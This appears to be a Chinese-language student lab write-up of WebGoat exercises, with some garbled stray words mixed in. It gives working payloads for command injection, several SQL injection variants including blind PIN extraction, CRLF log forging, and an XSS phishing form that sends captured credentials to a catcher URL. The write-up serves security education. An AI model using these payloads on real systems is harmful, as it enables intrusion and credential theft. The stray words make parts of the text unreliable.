3.CSRF攻擊原理,如何防護?javascript
原理:html
防護:java
操做方法: 右鍵點擊那個長按鈕,選擇inspect Element審查網頁元素對源代碼進行修改,在複選框中任意一欄的代碼,右鍵單擊後,選擇Edit At Html進行修改,添加 "& netstat -an & ipconfig" web
原理:在station字段中注入特徵字符,組合成新的SQL語句。正則表達式
目標:該例子經過注入SQL字符串查看全部的天氣數據。sql
右鍵點擊頁面,選擇inspect Element審查網頁元素對源代碼進行修改,在選中的城市編號Value值中添加 or 1=1 數據庫
顯示全部城市的天氣狀況,攻擊成功!後端
目標:灰色區域表明在 Web 服務器的日誌中的記錄的內容,咱們的目的是使用戶名爲「admin」的用戶在日誌中顯示「成功登陸」瀏覽器
前提:本題目接受用戶輸入的任何一個用戶名,並將其追加到日誌文件中。 利用入回車(0D%)和換行符(%0A),在 username 中填入 fenix%0d%0aLogin Succeeded for username: admin 安全
原理:經過注入字符串繞過認證
右鍵點擊頁面,選擇inspect Element審查網頁元素對源代碼進行修改,將password密碼框的最大長度限制改成20。
以用戶Neville(admit)登陸,輸入密碼 hello' or '1' = '1 獲得全部人員列表,攻擊成功!
原理:經過注入數字型數據,繞過認證,能夠經過普通員工的帳戶,查看到BOSS的用戶信息。
操做方法:使用用戶名 Larry,密碼 larry 點擊login登陸,點擊ViewProfile查看用戶信息
右鍵點擊頁面,選擇inspect Element審查網頁元素源代碼,咱們能夠看到數據庫索引的依據是員工ID,推測返回的是每次查詢到的第一條數據。
用社會工程學解釋老闆應該是工資最高的,因此將員工ID的value改爲101 or 1=1 order by salary desc,使得老闆的信息做爲查詢到的第一條數據。
目標:利用查詢的脆弱性建立觸發器。因爲 WebGoat 使用的是 MySQL 數據庫,不支持觸發器,因此該課程不會真正完成。 咱們的 Login ID 是 101。
輸入101,獲得該用戶的信息。咱們能夠看到,輸入的語句沒有驗證,很容易進行 SQL 注入
輸入注入語句 101; update employee set salary=18000 執行兩個語句
本題目中,服務端頁面返回的信息只有兩種:賬號有效或無效。所以沒法簡單地查詢到賬號的PIN數值。但咱們能夠利用系統後臺在用的查詢語句 SELECT * FROM user_data WHERE userid=accountNumber ; 若是該查詢語句返回了賬號的信息,頁面將提示賬號有效,不然提示無效。使用 AND 函數,咱們能夠添加一些額外的查詢條件。若是該查詢條件一樣爲真,則返回結果應提示賬 號有效,不然無效。
針對查詢語句的後半部分構造複雜語句,如: 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 ) ;若是提示無效,則pin值小於5000,使用二分法,最終得出pin的值爲2364
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> //表格 <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
本次試驗在webgoat平臺上,一個專門教新手金雪web攻擊的平臺,雖然可能只是一些膚淺易懂且目前實用性不高的漏洞,但最主要的東西是去學習每一個攻擊手段的原理,在動手的過程當中思考。